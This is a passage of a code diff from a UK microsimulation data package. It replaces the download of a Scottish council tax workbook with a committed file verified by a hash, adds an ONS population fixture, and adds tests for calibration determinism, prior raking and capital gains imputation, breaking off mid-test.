_VOA_NAME_TO_REGION = { "North East": "NORTH_EAST", "North West": "NORTH_WEST", @@ -94,70 +82,21 @@ def _download_workbook() -> openpyxl.Workbook: return openpyxl.load_workbook(BytesIO(workbook_response.content), data_only=True) -def _load_xlsx_response(response: requests.Response) -> openpyxl.Workbook: - response.raise_for_status() - try: - return openpyxl.load_workbook(BytesIO(response.content), data_only=True) - except BadZipFile as error: - content_type = response.headers.get("content-type", "") - preview = response.content[:160].decode("utf-8", errors="replace") - preview = " ".join(preview.split()) - raise ValueError( - "Expected an XLSX workbook from " - f"{response.url}; got content-type {content_type!r} " - f"with {len(response.content)} bytes: {preview!r}" - ) from error - - -def _scotland_workbook_urls_from_page() -> list[str]: - r = requests.get( - _SCOTLAND_REF, - headers=HEADERS, - allow_redirects=True, - timeout=60, - ) - r.raise_for_status() - urls: list[str] = [] - for match in _SCOTLAND_WORKBOOK_LINK.finditer(r.text): - url = urljoin(_SCOTLAND_REF, unescape(match.group(1))) - if url not in urls: - urls.append(url) - return urls - - -@lru_cache(maxsize=1) -def _download_scotland_workbook() -> openpyxl.Workbook: - errors: list[str] = [] - - def try_url(url: str) -> openpyxl.Workbook | None: - for attempt in range(3): - try: - r = requests.get( - url, - headers=HEADERS, - allow_redirects=True, - timeout=60, - ) - return _load_xlsx_response(r) - except Exception as error: - errors.append(f"{url}: {error}") - if attempt < 2: - time.sleep(2**attempt) - return None - - workbook = try_url(_SCOTLAND_WORKBOOK_URL) - if workbook is not None: - return workbook +def _scotland_workbook() -> openpyxl.Workbook: + """The committed Scottish workbook, if and only if its bytes are the ones named.""" + from policyengine_uk_data.storage import STORAGE_FOLDER - for url in _scotland_workbook_urls_from_page(): - workbook = try_url(url) - if workbook is not None: - return workbook - - raise ValueError( - "Could not download Scotland council tax workbook. Recent errors: " - + " | ".join(errors[-3:]) - ) + path = STORAGE_FOLDER / _SCOTLAND_WORKBOOK_FILE + if not path.is_file(): + raise FileNotFoundError(f"the Scottish council tax workbook {path} is missing") + data = path.read_bytes() + digest = hashlib.sha256(data).hexdigest() + if digest != _SCOTLAND_WORKBOOK_SHA256: + raise ValueError( + f"{path} has sha256 {digest}, not {_SCOTLAND_WORKBOOK_SHA256}; update " + "_SCOTLAND_WORKBOOK_SHA256 together with the file" + ) + return openpyxl.load_workbook(BytesIO(data), data_only=True) def _to_float(value) -> float: @@ -166,25 +105,10 @@ def _to_float(value) -> float: return 0.0 -def _fallback_scotland_band_counts() -> dict[str, float]: - counts = { - band: _SCOTLAND_FALLBACK_TOTAL_2025 * share - for band, share in _SCOTLAND_FALLBACK_BAND_SHARES_2024_25.items() - } - counts["Total"] = _SCOTLAND_FALLBACK_TOTAL_2025 - return counts - - def _get_scotland_band_counts() -> dict[str, float]: - try: - scotland_ws = _download_scotland_workbook()["Chargeable Dwellings 2025"] - except Exception as error: - logger.warning( - "Using fallback Scotland council tax band distribution: %s", - error, - ) - return _fallback_scotland_band_counts() - + scotland_ws = _scotland_workbook()["Chargeable Dwellings 2025"] + if str(scotland_ws.cell(row=8, column=1).value).strip() != "Scotland": + raise ValueError("the Scottish council tax workbook's row 8 is not Scotland") scotland_row = 8 scotland_col_index = { "A": 2, diff --git a/policyengine_uk_data/tests/conftest.py b/policyengine_uk_data/tests/conftest.py index 9de52820d..8c579975a 100644 --- a/policyengine_uk_data/tests/conftest.py +++ b/policyengine_uk_data/tests/conftest.py @@ -32,3 +32,9 @@ def baseline(enhanced_frs: UKSingleYearDataset): from policyengine_uk import Microsimulation return Microsimulation(dataset=enhanced_frs) + + +@pytest.fixture(autouse=True) +def no_job_summary(monkeypatch): + """Keep tests out of the GitHub Actions job summary the build writes to.""" + monkeypatch.delenv("GITHUB_STEP_SUMMARY", raising=False) diff --git a/policyengine_uk_data/tests/fixtures/ons_uk_population_2025.csv b/policyengine_uk_data/tests/fixtures/ons_uk_population_2025.csv new file mode 100644 index 000000000..911aae4f5 --- /dev/null +++ b/policyengine_uk_data/tests/fixtures/ons_uk_population_2025.csv @@ -0,0 +1,215 @@ +Sex,Age,2025 +Females,0,317686 +Females,1,327935 +Females,2,338279 +Females,3,358658 +Females,4,356258 +Females,5,369761 +Females,6,376378 +Females,7,381376 +Females,8,390185 +Females,9,400480 +Females,10,397930 +Females,11,399560 +Females,12,408413 +Females,13,418244 +Females,14,417732 +Females,15,413729 +Females,16,410318 +Females,17,414288 +Females,18,399447 +Females,19,398620 +Females,20,406477 +Females,21,404249 +Females,22,401940 +Females,23,408447 +Females,24,412365 +Females,25,422024 +Females,26,444655 +Females,27,458010 +Females,28,469985 +Females,29,463354 +Females,30,470982 +Females,31,484020 +Females,32,486083 +Females,33,498400 +Females,34,504074 +Females,35,503593 +Females,36,500871 +Females,37,507256 +Females,38,496049 +Females,39,489353 +Females,40,485837 +Females,41,469975 +Females,42,469221 +Females,43,463843 +Females,44,467338 +Females,45,465639 +Females,46,444476 +Females,47,412021 +Females,48,402609 +Females,49,410811 +Females,50,417510 +Females,51,422475 +Females,52,438299 +Females,53,454957 +Females,54,473232 +Females,55,460650 +Females,56,470719 +Females,57,469471 +Females,58,470280 +Females,59,469617 +Females,60,471064 +Females,61,464261 +Females,62,452458 +Females,63,439638 +Females,64,421487 +Females,65,403839 +Females,66,393032 +Females,67,380880 +Females,68,364266 +Females,69,348875 +Females,70,334931 +Females,71,333201 +Females,72,324950 +Females,73,313788 +Females,74,312458 +Females,75,314249 +Females,76,317096 +Females,77,330339 +Females,78,350379 +Females,79,263767 +Females,80,249905 +Females,81,242088 +Females,82,219106 +Females,83,189777 +Females,84,163167 +Females,85,161170 +Females,86,150872 +Females,87,137597 +Females,88,121030 +Females,89,105738 +Females,90,90358 +Females,91,73607 +Females,92,61708 +Females,93,51510 +Females,94,41269 +Females,95,32160 +Females,96,23665 +Females,97,16907 +Females,98,11918 +Females,99,8188 +Females,100,5349 +Females,101,3385 +Females,102,2064 +Females,103,1211 +Females,104,677 +Females,105 - 109,546 +Females,110 and over,6 +Males,0,333572 +Males,1,344421 +Males,2,356607 +Males,3,376143 +Males,4,373747 +Males,5,386967 +Males,6,395428 +Males,7,399866 +Males,8,409003 +Males,9,420639 +Males,10,417531 +Males,11,418996 +Males,12,428612 +Males,13,438674 +Males,14,439496 +Males,15,433546 +Males,16,431615 +Males,17,436434 +Males,18,425336 +Males,19,422999 +Males,20,430550 +Males,21,430470 +Males,22,426240 +Males,23,423436 +Males,24,426041 +Males,25,435235 +Males,26,447885 +Males,27,452338 +Males,28,459538 +Males,29,451896 +Males,30,454060 +Males,31,462487 +Males,32,460659 +Males,33,470586 +Males,34,476185 +Males,35,473059 +Males,36,467528 +Males,37,469878 +Males,38,458073 +Males,39,457277 +Males,40,454111 +Males,41,439326 +Males,42,438740 +Males,43,436382 +Males,44,439505 +Males,45,441201 +Males,46,423905 +Males,47,393520 +Males,48,386917 +Males,49,395093 +Males,50,402512 +Males,51,406800 +Males,52,422253 +Males,53,436908 +Males,54,450989 +Males,55,439963 +Males,56,449773 +Males,57,447985 +Males,58,451039 +Males,59,446161 +Males,60,447763 +Males,61,440594 +Males,62,429773 +Males,63,418061 +Males,64,402529 +Males,65,384785 +Males,66,372436 +Males,67,360028 +Males,68,341388 +Males,69,326411 +Males,70,309308 +Males,71,305067 +Males,72,296642 +Males,73,281653 +Males,74,279520 +Males,75,277095 +Males,76,279193 +Males,77,286999 +Males,78,302900 +Males,79,223985 +Males,80,208431 +Males,81,199761 +Males,82,175241 +Males,83,147423 +Males,84,122567 +Males,85,118037 +Males,86,107840 +Males,87,95378 +Males,88,80913 +Males,89,67392 +Males,90,55358 +Males,91,43439 +Males,92,34474 +Males,93,26990 +Males,94,20167 +Males,95,14236 +Males,96,9666 +Males,97,6400 +Males,98,4165 +Males,99,2573 +Males,100,1535 +Males,101,844 +Males,102,456 +Males,103,227 +Males,104,109 +Males,105 - 109,73 +Males,110 and over,0 diff --git a/policyengine_uk_data/tests/test_calibrate_determinism.py b/policyengine_uk_data/tests/test_calibrate_determinism.py new file mode 100644 index 000000000..0d8d5287e --- /dev/null +++ b/policyengine_uk_data/tests/test_calibrate_determinism.py @@ -0,0 +1,116 @@ +"""Calibration gives the same weights for the same inputs and seed. + +Invariants of ``calibrate_local_areas``: + +- the saved weights are a function of the inputs and ``seed`` alone: not of + the process, and not of whatever has consumed torch's global generator; +- calibration does not consume the global generator; +- ``seed`` is used: different seeds draw different dropout masks. + +Before the dropout masks had their own generator, two builds of one commit +differed in every household weight, because torch seeds its global generator +differently in each process. +""" + +from __future__ import annotations + +import hashlib +import importlib.util +import subprocess +import sys +import tempfile +from pathlib import Path +from unittest.mock import patch + +import numpy as np +import pytest + +if ( + importlib.util.find_spec("torch") is None + or importlib.util.find_spec("policyengine_uk") is None +): + pytest.skip( + "torch/policyengine_uk not available in test environment", + allow_module_level=True, + ) + +import h5py +import torch + +from policyengine_uk_data.tests.test_calibrate_save import ( + _StubDataset, + _make_toy_inputs, +) +from policyengine_uk_data.utils import calibrate as calibrate_module +from policyengine_uk_data.utils.calibrate import calibrate_local_areas + + +def _toy_weights(**kwargs) -> np.ndarray: + """Area-by-household weights saved by a short toy calibration. + + 120 weights and 21 epochs, so dropout (5% per weight per epoch) acts + many times and the last save (epoch 20) reflects it. + """ + matrix_fn, national_matrix_fn = _make_toy_inputs(n_households=40, area_count=3) + dataset = _StubDataset(np.linspace(1.0, 5.0, 40)) + with tempfile.TemporaryDirectory() as folder: + with patch.object(calibrate_module, "STORAGE_FOLDER", Path(folder)): + calibrate_local_areas( + dataset=dataset, + matrix_fn=matrix_fn, + national_matrix_fn=national_matrix_fn, + area_count=3, + weight_file="weights.h5", + dataset_key="2025", + epochs=21, + verbose=False, + **kwargs, + ) + with h5py.File(Path(folder) / "weights.h5", "r") as f: + return f["2025"][:] + + +def _toy_weights_digest() -> str: + return hashlib.sha256(_toy_weights().tobytes()).hexdigest() + + +@pytest.mark.parametrize("seed", [0, 1, 2**31 - 1]) +@pytest.mark.parametrize("global_state, other_global_state", [(0, 1), (7, 12345)]) +def test_weights_depend_on_seed_not_on_the_global_generator( + seed, global_state, other_global_state +): + torch.manual_seed(global_state) + first = _toy_weights(seed=seed) + torch.manual_seed(other_global_state) + torch.rand(7) + second = _toy_weights(seed=seed) + assert np.array_equal(first, second) + + +def test_calibration_does_not_consume_the_global_generator(): + torch.manual_seed(123) + expected = torch.rand(5) + torch.manual_seed(123) + _toy_weights() + assert torch.equal(torch.rand(5), expected) + + +def test_different_seeds_give_different_weights(): + assert not np.array_equal(_toy_weights(seed=0), _toy_weights(seed=1)) + + +def test_fresh_processes_give_identical_weights(): + """The failure this guards against only shows across processes.""" + command = [ + sys.executable, + "-c", + "from policyengine_uk_data.tests.test_calibrate_determinism import " + "_toy_weights_digest; print(_toy_weights_digest())", + ] + digests = [ + subprocess.run(command, capture_output=True, text=True, check=True) + .stdout.strip() + .splitlines()[-1] + for _ in range(2) + ] + assert digests[0] == digests[1] == _toy_weights_digest() diff --git a/policyengine_uk_data/tests/test_calibrate_save.py b/policyengine_uk_data/tests/test_calibrate_save.py index b778596ed..0ebce898a 100644 --- a/policyengine_uk_data/tests/test_calibrate_save.py +++ b/policyengine_uk_data/tests/test_calibrate_save.py @@ -1,18 +1,24 @@ -"""Regression test for calibrate_local_areas weight saving. - -Ensures that the non-verbose branch of `calibrate_local_areas` saves the -weight file to disk — previously the save block was indented outside the -for-loop, so on a typical 512-epoch run (511 % 10 = 1) no save ever ran -and the output .h5 file was never written. +"""Tests for calibrate_local_areas: weight priors, saving and logging. + +Two save bugs are pinned here. The save block once sat outside the training +loop, so a 512-epoch run (511 % 10 = 1) never wrote the weight file. It then +saved only when epoch % 10 == 0, so a 512-epoch build shipped the state after +epoch 510 of 0-511 and dropped the final update (#456). A property test +checks, in both training loops, that the saved file, the returned weights and +the last logged row all describe the final optimiser state. """ from __future__ import annotations import importlib.util +import tempfile +from pathlib import Path import numpy as np import pandas as pd import pytest +from hypothesis import example, given, settings +from hypothesis import strategies as st if ( importlib.util.find_spec("torch") is None @@ -24,7 +30,12 @@ ) -def _make_toy_inputs(n_households: int = 4, area_count: int = 2, n_targets: int = 2): +def _make_toy_inputs( + n_households: int = 4, + area_count: int = 2, + n_targets: int = 2, + country_mask: np.ndarray | None = None, +): """Build minimal matrix/target/mask arrays for `calibrate_local_areas`. The calibration routine treats `matrix` as (n_households, n_targets), @@ -39,8 +50,9 @@ def _make_toy_inputs(n_households: int = 4, area_count: int = 2, n_targets: int matrix = pd.DataFrame(np.eye(n_households, n_targets, dtype=float)) # Per-area local targets — identical rows are fine for a smoke test. local_targets = pd.DataFrame(np.tile([100.0, 200.0][:n_targets], (area_count, 1))) - # Country mask: every area includes every household (simple case). - country_mask = np.ones((area_count, n_households), dtype=float) + # Country mask: by default every area includes every household. + if country_mask is None: + country_mask = np.ones((area_count, n_households), dtype=float) national_matrix = pd.DataFrame(np.ones((n_households, 1), dtype=float)) national_targets = pd.Series([1000.0]) @@ -54,6 +66,46 @@ def national_matrix_fn(_dataset): return matrix_fn, national_matrix_fn +# Two countries of two households each: area 0 holds households 0 and 1, area +# 1 holds 2 and 3. Its zeros make exp(parameters) differ from the saved +# weights, so a save that dropped the mask would fail. +TWO_COUNTRY_MASK = np.array([[1.0, 1.0, 0.0, 0.0], [0.0, 0.0, 1.0, 1.0]]) + + +def _national_performance(weights, _m_c, _y_c, m_n, y_n, _excluded_targets): + """A one-row `get_performance` for the toy's single national target.""" + estimates = weights.sum(axis=0) @ m_n + error = float(estimates.iloc[0] - y_n.iloc[0]) + return pd.DataFrame( + { + "name": ["UK"], + "metric": ["national_total"], + "estimate": [float(estimates.iloc[0])], + "target": [float(y_n.iloc[0])], + "error": [error], + "abs_error": [abs(error)], + "rel_abs_error": [abs(error) / float(y_n.iloc[0])], + "validation": [False], + } + ) + + +def _toy_loss(weights, matrix_fn, national_matrix_fn): + """The calibrator's training loss without dropout, recomputed in float64.""" + + def sre(x, y): + return np.minimum(((1 + x) / (1 + y) - 1) ** 2, ((1 + y) / (1 + x) - 1) ** 2) + + weights = weights.astype(np.float64) + matrix, local_targets, _ = matrix_fn(None) + national_matrix, national_targets = national_matrix_fn(None) + local = sre(weights @ matrix.to_numpy(), local_targets.to_numpy()) + national = sre( + weights.sum(axis=0) @ national_matrix.to_numpy(), national_targets.to_numpy() + ) + return local.mean() + national.mean() + + class _StubDataset: """Minimal stand-in for a UKSingleYearDataset. @@ -212,22 +264,6 @@ def test_calibrate_local_areas_logs_loss_targets_and_source_diagnostics( household_is_spi_synthetic=[False, True, False, True], ) - def get_performance(weights, _m_c, _y_c, m_n, y_n, _excluded_targets): - estimates = weights.sum(axis=0) @ m_n - error = float(estimates.iloc[0] - y_n.iloc[0]) - return pd.DataFrame( - { - "name": ["UK"], - "metric": ["national_total"], - "estimate": [float(estimates.iloc[0])], - "target": [float(y_n.iloc[0])], - "error": [error], - "abs_error": [abs(error)], - "rel_abs_error": [abs(error) / float(y_n.iloc[0])], - "validation": [False], - } - ) - weight_file = "toy_diagnostic_weights.h5" log_csv = tmp_path / "diagnostics.csv" calibrate_local_areas( @@ -239,7 +275,7 @@ def get_performance(weights, _m_c, _y_c, m_n, y_n, _excluded_targets): dataset_key="2025", epochs=1, log_csv=log_csv, - get_performance=get_performance, + get_performance=_national_performance, verbose=False, ) @@ -258,3 +294,77 @@ def get_performance(weights, _m_c, _y_c, m_n, y_n, _excluded_targets): assert row["household_is_spi_synthetic_rows"] == 2 assert row["household_is_spi_synthetic_prior_share"] == pytest.approx(0.5) assert row["household_is_spi_synthetic_household_weight"] > 0 + + +def _final_state_run(inputs, epochs, verbose): + """Calibrate the toy problem in a scratch folder. + + Returns the saved weights, the returned household weights, the final + optimiser state (exp of the trained parameters times the country mask) + and the performance log. + """ + import h5py + import torch + + from policyengine_uk_data.utils import calibrate as calibrate_module + from policyengine_uk_data.utils.calibrate import calibrate_local_areas + + parameters = [] + + class SpyAdam(torch.optim.Adam): + def __init__(self, params, *args, **kwargs): + params = list(params) + parameters.extend(params) + super().__init__(params, *args, **kwargs) + + matrix_fn, national_matrix_fn = inputs + # Hypothesis reruns the test body, so it can't use pytest's + # function-scoped tmp_path and monkeypatch fixtures. + with ( + tempfile.TemporaryDirectory() as folder, + pytest.MonkeyPatch.context() as monkeypatch, + ): + folder = Path(folder) + monkeypatch.setattr(calibrate_module, "STORAGE_FOLDER", folder) + monkeypatch.setattr(torch.optim, "Adam", SpyAdam) + returned = calibrate_local_areas( + dataset=_StubDataset(np.array([1.0, 2.0, 3.0, 4.0])), + matrix_fn=matrix_fn, + national_matrix_fn=national_matrix_fn, + area_count=2, + weight_file="final.h5", + dataset_key="2025", + epochs=epochs, + log_csv=folder / "log.csv", + get_performance=_national_performance, + verbose=verbose, + ) + with h5py.File(folder / "final.h5", "r") as f: + saved = f["2025"][:] + log = pd.read_csv(folder / "log.csv") + (weights,) = parameters + final = torch.exp(weights).detach().numpy() * TWO_COUNTRY_MASK + return saved, returned.household["household_weight"].to_numpy(), final, log + + +@settings(max_examples=20, deadline=None) +@example(epochs=32, verbose=True) # a TESTING build +@example(epochs=32, verbose=False) # the same, through the non-verbose loop +@given(epochs=st.integers(1, 40), verbose=st.booleans()) +def test_saved_returned_and_logged_weights_are_the_final_optimiser_state( + epochs, verbose +): + """#456: weights were saved only when epoch % 10 == 0, so a 512-epoch + build shipped the state after epoch 510 of 0-511 and dropped the last + update.""" + inputs = _make_toy_inputs(country_mask=TWO_COUNTRY_MASK) + saved, returned, final, log = _final_state_run(inputs, epochs, verbose) + np.testing.assert_array_equal(saved, final) + np.testing.assert_allclose(returned, final.sum(axis=0), rtol=1e-6) + # Every tenth epoch and the last are logged, so the last row is the + # final epoch, and its saved_weights_loss is the saved weights' loss. + assert log["epoch"].iloc[-1] == epochs - 1 + assert log["epoch"].tolist() == sorted({*range(0, epochs, 10), epochs - 1}) + assert log["saved_weights_loss"].iloc[-1] == pytest.approx( + _toy_loss(saved, *inputs), rel=1e-5 + ) diff --git a/policyengine_uk_data/tests/test_calibration_priors.py b/policyengine_uk_data/tests/test_calibration_priors.py new file mode 100644 index 000000000..bc2409acc --- /dev/null +++ b/policyengine_uk_data/tests/test_calibration_priors.py @@ -0,0 +1,224 @@ +"""Tests for the calibration's starting weights. + +``prior_equivalent_weights`` expresses the prior of every household, survey +row or zero-weight row, as a weight, and ``rake_priors_to_targets`` scales +the priors so that chosen national targets are met before the first epoch. +""" + +import numpy as np +import pandas as pd +import pytest +from hypothesis import assume, given, settings +from hypothesis import strategies as st + +from policyengine_uk_data.utils.calibrate import ( + DEFAULT_ZERO_WEIGHT_PRIOR_TOTAL_SHARE, + calibrate_local_areas, + initialize_weight_priors, + prior_equivalent_weights, + rake_priors_to_targets, +) + +weights = st.lists( + st.one_of(st.just(0.0), st.floats(0.01, 1e5)), min_size=1, max_size=50 +).map(np.array) + + +@given(weights) +@settings(deadline=None) +def test_equivalent_weights_earn_each_row_its_prior(original): + assume((original > 0).any()) + equivalent = prior_equivalent_weights(original) + priors = initialize_weight_priors(original) + positive = original > 0 + + # A survey row is worth its own weight. + np.testing.assert_allclose(equivalent[positive], original[positive]) + if positive.all(): + return + # A zero-weight row is worth the weight that earns a survey row the + # zero-weight row's prior. + np.testing.assert_allclose( + equivalent[~positive] * (1 - DEFAULT_ZERO_WEIGHT_PRIOR_TOTAL_SHARE), + priors[~positive], + ) + + +def test_equivalent_weights_without_survey_rows_are_the_priors(): + np.testing.assert_array_equal(prior_equivalent_weights(np.zeros(3)), np.ones(3)) + + +@st.composite +def raking_problems(draw): + n = draw(st.integers(1, 40)) + priors = np.array(draw(st.lists(st.floats(0.01, 1e4), min_size=n, max_size=n))) + n_targets = draw(st.integers(1, 5)) + # Each household counts towards at most one target (-1: none). + member = np.array( + draw(st.lists(st.integers(-1, n_targets - 1), min_size=n, max_size=n)) + ) + counts = np.array(draw(st.lists(st.integers(1, 3), min_size=n, max_size=n))) + matrix = pd.DataFrame( + { + f"band_{t}": np.where(member == t, counts, 0).astype(float) + for t in range(n_targets) + } + ) + matrix["other"] = 1.0 + targets = pd.Series( + draw( + st.lists( + st.floats(0.01, 1e6), min_size=n_targets + 1, max_size=n_targets + 1 + ) + ), + index=matrix.columns, + ) + return priors, matrix, targets, [f"band_{t}" for t in range(n_targets)] + + +@given(raking_problems()) +@settings(max_examples=200, deadline=None) +def test_rake_meets_every_named_target_and_touches_nothing_else(problem): + priors, matrix, targets, names = problem + raked = rake_priors_to_targets(priors, matrix, targets, names) + + populated = [name for name in names if (matrix[name] > 0).any()] + np.testing.assert_allclose(raked @ matrix[populated], targets[populated]) + outside = (matrix[names] == 0).all(axis=1).to_numpy() + np.testing.assert_array_equal(raked[outside], priors[outside]) + assert (raked > 0).all() + # Within a target, households keep their relative priors. + for name in populated: + members = (matrix[name] > 0).to_numpy() + ratio = raked[members] / priors[members] + np.testing.assert_allclose(ratio, ratio[0]) + # Raking again changes nothing, and the input is not modified. + np.testing.assert_allclose( + rake_priors_to_targets(raked, matrix, targets, names), raked + ) + assert raked is not priors + + +def test_rake_skips_names_the_matrix_lacks_and_targets_with_no_households(): + priors = np.array([1.0, 2.0, 3.0]) + matrix = pd.DataFrame({"a": [1.0, 0.0, 0.0], "empty": [0.0, 0.0, 0.0]}) + targets = pd.Series({"a": 5.0, "empty": 7.0}) + raked = rake_priors_to_targets(priors, matrix, targets, ["a", "empty", "absent"]) + np.testing.assert_array_equal(raked, [5.0, 2.0, 3.0]) + + +def test_rake_rejects_overlapping_targets(): + matrix = pd.DataFrame({"a": [1.0, 1.0], "b": [0.0, 1.0]}) + with pytest.raises(ValueError, match="disjoint"): + rake_priors_to_targets( + np.ones(2), matrix, pd.Series({"a": 1.0, "b": 1.0}), ["a", "b"] + ) + + +def test_rake_rejects_a_non_positive_target(): + matrix = pd.DataFrame({"a": [1.0, 0.0]}) + with pytest.raises(ValueError, match="non-positive"): + rake_priors_to_targets(np.ones(2), matrix, pd.Series({"a": 0.0}), ["a"]) + + +@pytest.mark.parametrize( + ("carried_priors", "rake_targets", "expected_household_priors"), + [ + pytest.param( + [10.0, 20.0, 40.0, 30.0], + ("band_a", "band_b"), + [100.0, 100.0, 400.0, 150.0], + id="carried-priors-raked", + ), + pytest.param( + [10.0, 20.0, 40.0, 30.0], + (), + [10.0, 20.0, 40.0, 30.0], + id="carried-priors-without-rake", + ), + ], +) +def test_calibrate_rakes_national_priors_before_splitting_between_areas( + tmp_path, monkeypatch, carried_priors, rake_targets, expected_household_priors +): + import h5py + + from policyengine_uk_data.tests.test_calibrate_save import _StubDataset + from policyengine_uk_data.utils import calibrate as calibrate_module + + national_matrix = pd.DataFrame( + {"band_a": [1.0, 0.0, 1.0, 0.0], "band_b": [0.0, 1.0, 0.0, 1.0]} + ) + national_targets = pd.Series({"band_a": 500.0, "band_b": 250.0}) + # Local columns deliberately count different households, and their targets + # differ from the national targets. The rake must use the national inputs. + local_matrix = national_matrix[["band_b", "band_a"]].copy() + local_matrix.columns = national_matrix.columns + local_targets = pd.DataFrame({"band_a": [1.0, 2.0, 3.0], "band_b": [4.0, 5.0, 6.0]}) + # The first country has two areas; the second has one. Each country's + # split must sum back to its households' full national starting priors. + area_mask = np.array( + [[1.0, 1.0, 0.0, 0.0], [1.0, 1.0, 0.0, 0.0], [0.0, 0.0, 1.0, 1.0]] + ) + initial_log_weights = [] + adam = calibrate_module.torch.optim.Adam + + def freeze_optimizer(parameters, **kwargs): + initial_log_weights.append(parameters[0].detach().numpy().copy()) + optimizer = adam(parameters, **kwargs) + # Exercise the actual initialization and save paths without allowing + # an optimizer update to obscure the prior or area-split assertions. + monkeypatch.setattr(optimizer, "step", lambda: None) + return optimizer + + monkeypatch.setattr(calibrate_module.torch.optim, "Adam", freeze_optimizer) + monkeypatch.setattr(calibrate_module, "STORAGE_FOLDER", tmp_path) + household_columns = {"household_calibration_prior": carried_priors} + original_weights = np.array([40.0, 0.0, 60.0, 0.0]) + result = calibrate_local_areas( + dataset=_StubDataset(original_weights, **household_columns), + matrix_fn=lambda _d: (local_matrix, local_targets, area_mask), + national_matrix_fn=lambda _d: (national_matrix, national_targets), + area_count=3, + weight_file="raked_priors.h5", + dataset_key="2024", + epochs=1, + prior_rake_targets=rake_targets, + ) + + initial_area_weights = np.exp(initial_log_weights[0]) * area_mask + expected_household_priors = np.array(expected_household_priors) + expected_national_estimates = ( + national_targets + if rake_targets + else expected_household_priors @ national_matrix + ) + np.testing.assert_allclose( + initial_area_weights.sum(axis=0), expected_household_priors, rtol=1e-6 + ) + np.testing.assert_allclose( + initial_area_weights.sum(axis=0) @ national_matrix, + expected_national_estimates, + rtol=1e-6, + ) + expected_area_weights = ( + expected_household_priors / area_mask.sum(axis=0) * area_mask + ) + np.testing.assert_allclose(initial_area_weights, expected_area_weights, rtol=1e-6) + with h5py.File(tmp_path / "raked_priors.h5") as file: + saved_area_weights = file["2024"][:] + np.testing.assert_allclose(saved_area_weights, initial_area_weights, rtol=1e-6) + np.testing.assert_allclose( + saved_area_weights.sum(axis=0) @ national_matrix, + expected_national_estimates, + rtol=1e-6, + ) + np.testing.assert_allclose( + result.household.household_weight, + expected_household_priors, + rtol=1e-6, + ) + if not rake_targets: + assert result.household.household_weight.sum() == pytest.approx( + original_weights.sum() + ) diff --git a/policyengine_uk_data/tests/test_capital_gains_imputation.py b/policyengine_uk_data/tests/test_capital_gains_imputation.py new file mode 100644 index 000000000..28f6bb690 --- /dev/null +++ b/policyengine_uk_data/tests/test_capital_gains_imputation.py @@ -0,0 +1,325 @@ +"""Tests for the has-gains twins of the capital gains imputation. + +The imputation stacks a second copy of each household whose first adult +draws a gain HMRC's statistics describe, and splits the household's mass +between the two records. These tests state what must hold for every input: +mass is conserved, no record carries a loss or a gain under the lowest HMRC +band, zero-weight rows are split like survey rows, and the calibration +starts with every HMRC band's taxpayer count on its target. +""" + +import importlib +from types import SimpleNamespace +from unittest import mock + +import numpy as np +import pandas as pd +import pytest +from hypothesis import given, settings +from hypothesis import strategies as st +from policyengine_uk.data import UKSingleYearDataset + +from policyengine_uk_data.targets.sources import hmrc_cgt +from policyengine_uk_data.utils.calibrate import ( + initialize_weight_priors, + rake_priors_to_targets, +) + +# The package re-exports the Advani & Summers table under the module's own +# name, so the module has to be imported by its full path. +cg = importlib.import_module("policyengine_uk_data.datasets.imputations.capital_gains") + +TABLE = cg.capital_gains +LOWEST_BAND = 3_000 +TOP_INCOME_BAND = len(TABLE) - 1 + + +def _dataset(weights, sizes, income_bands) -> UKSingleYearDataset: + """Households of one benefit unit whose members share a total income; + the first member is the first adult.""" + weights = np.asarray(weights, dtype=float) + household_id = np.arange(1, len(weights) + 1) + person_household_id = np.repeat(household_id, sizes) + income_bands = np.broadcast_to(np.asarray(income_bands), weights.shape) + incomes = TABLE.minimum_total_income.values[income_bands] + 1.0 + person = pd.DataFrame( + { + "person_id": np.arange(1, len(person_household_id) + 1), + "person_household_id": person_household_id, + "person_benunit_id": person_household_id, + "total_income": np.repeat(incomes, sizes), + "first_adult": np.r_[True, np.diff(person_household_id) != 0], + } + ) + return UKSingleYearDataset( + person=person, + benunit=pd.DataFrame({"benunit_id": household_id}), + household=pd.DataFrame( + {"household_id": household_id, "household_weight": weights} + ), + fiscal_year=2024, + ) + + +def _incomes_from_columns(dataset): + """Stands in for the microsimulation that reads incomes in a build.""" + return ( + dataset.person.total_income.to_numpy(dtype=float), + dataset.person.first_adult.to_numpy(dtype=bool), + ) + + +def _impute(dataset, donors: bool = False): + with mock.patch.object(cg, "_first_adult_incomes", _incomes_from_columns): + out = cg.impute_capital_gains(dataset) + return cg.stack_cgt_band_donors(out) if donors else out + + +def _priors(dataset): + household = dataset.household + if "household_calibration_prior" in household: + return initialize_weight_priors( + household.household_weight.to_numpy(), + prior_weights=household.household_calibration_prior.to_numpy(), + ) + return initialize_weight_priors(household.household_weight.to_numpy()) + + +households = st.lists( + st.tuples( + st.one_of(st.just(0.0), st.floats(0.1, 5_000.0)), + st.integers(1, 5), + st.integers(0, TOP_INCOME_BAND), + ), + min_size=1, + max_size=40, +) + + +@given(households) +@settings(max_examples=200, deadline=None) +def test_shares_put_the_table_share_of_each_band_in_gains(rows): + weights, sizes, bands = (np.array(column) for column in zip(*rows)) + dataset = _dataset(weights, sizes, bands) + income_band = cg._income_band(dataset.person.total_income.values) + first_adult = dataset.person.first_adult.values + person_weight = np.repeat(weights, sizes) + + share = cg.has_gains_shares(income_band, first_adult, person_weight) + + people = np.bincount(income_band, weights=person_weight, minlength=len(TABLE)) + first_adults = np.bincount( + income_band[first_adult], + weights=person_weight[first_adult], + minlength=len(TABLE), + ) + populated = first_adults > 0 + assert ((share >= 0) & (share < 1)).all() + assert (share[~populated] == 0).all() + np.testing.assert_allclose( + (share * first_adults)[populated], + (TABLE.percent_with_gains.values * people)[populated], + ) + + +def test_a_band_with_too_few_first_adults_fails_loudly(): + """One light first adult cannot hold the gains of a band of heavy + non-first adults; the build must say so, not cap the share silently.""" + income_band = np.full(11, TOP_INCOME_BAND) + first_adult = np.r_[True, np.zeros(10, dtype=bool)] + person_weight = np.r_[1.0, np.full(10, 100.0)] + with pytest.raises(ValueError, match="too few first adults"): + cg.has_gains_shares(income_band, first_adult, person_weight) + + +@given(households) +@settings(max_examples=100, deadline=None) +def test_twins_conserve_mass_and_carry_only_gains_hmrc_describes(rows): + weights, sizes, bands = (np.array(column) for column in zip(*rows)) + n = len(weights) + source_dataset = _dataset(weights, sizes, bands) + before_priors = _priors(source_dataset) + out = _impute(source_dataset) + household, person = out.household, out.person + + original = household.iloc[:n] + twin = household.iloc[n:] + # Originals keep their order; a twin's id is its original's, offset. + assert original.household_id.tolist() == list(range(1, n + 1)) + 